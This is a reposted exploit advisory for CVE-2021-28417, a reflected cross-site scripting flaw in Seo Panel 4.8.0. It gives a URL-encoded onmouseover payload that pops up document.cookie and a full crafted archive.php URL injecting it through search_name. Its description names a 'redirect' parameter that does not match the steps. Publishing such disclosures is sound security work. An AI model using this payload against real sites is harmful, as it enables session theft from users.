CVE-2021-28417_Seo_Panel_4.8.0_-_’search_name’_XSS漏洞

# CVE-2021-28417 Seo Panel 4.8.0 – ‘search name’ XSS漏洞
==XSS==

# Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS
# Date: 21-03-2021
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.seopanel.org/
# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0
# Version: Seo Panel 4.8.0
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-28417


-Description:
 A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.

-Payload used:
x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22

-Steps to reproduce:
1- Login to SEO admin panel
2- Add below line at the end:
http://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com
3- Hover your mouse near to "CTR" field
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容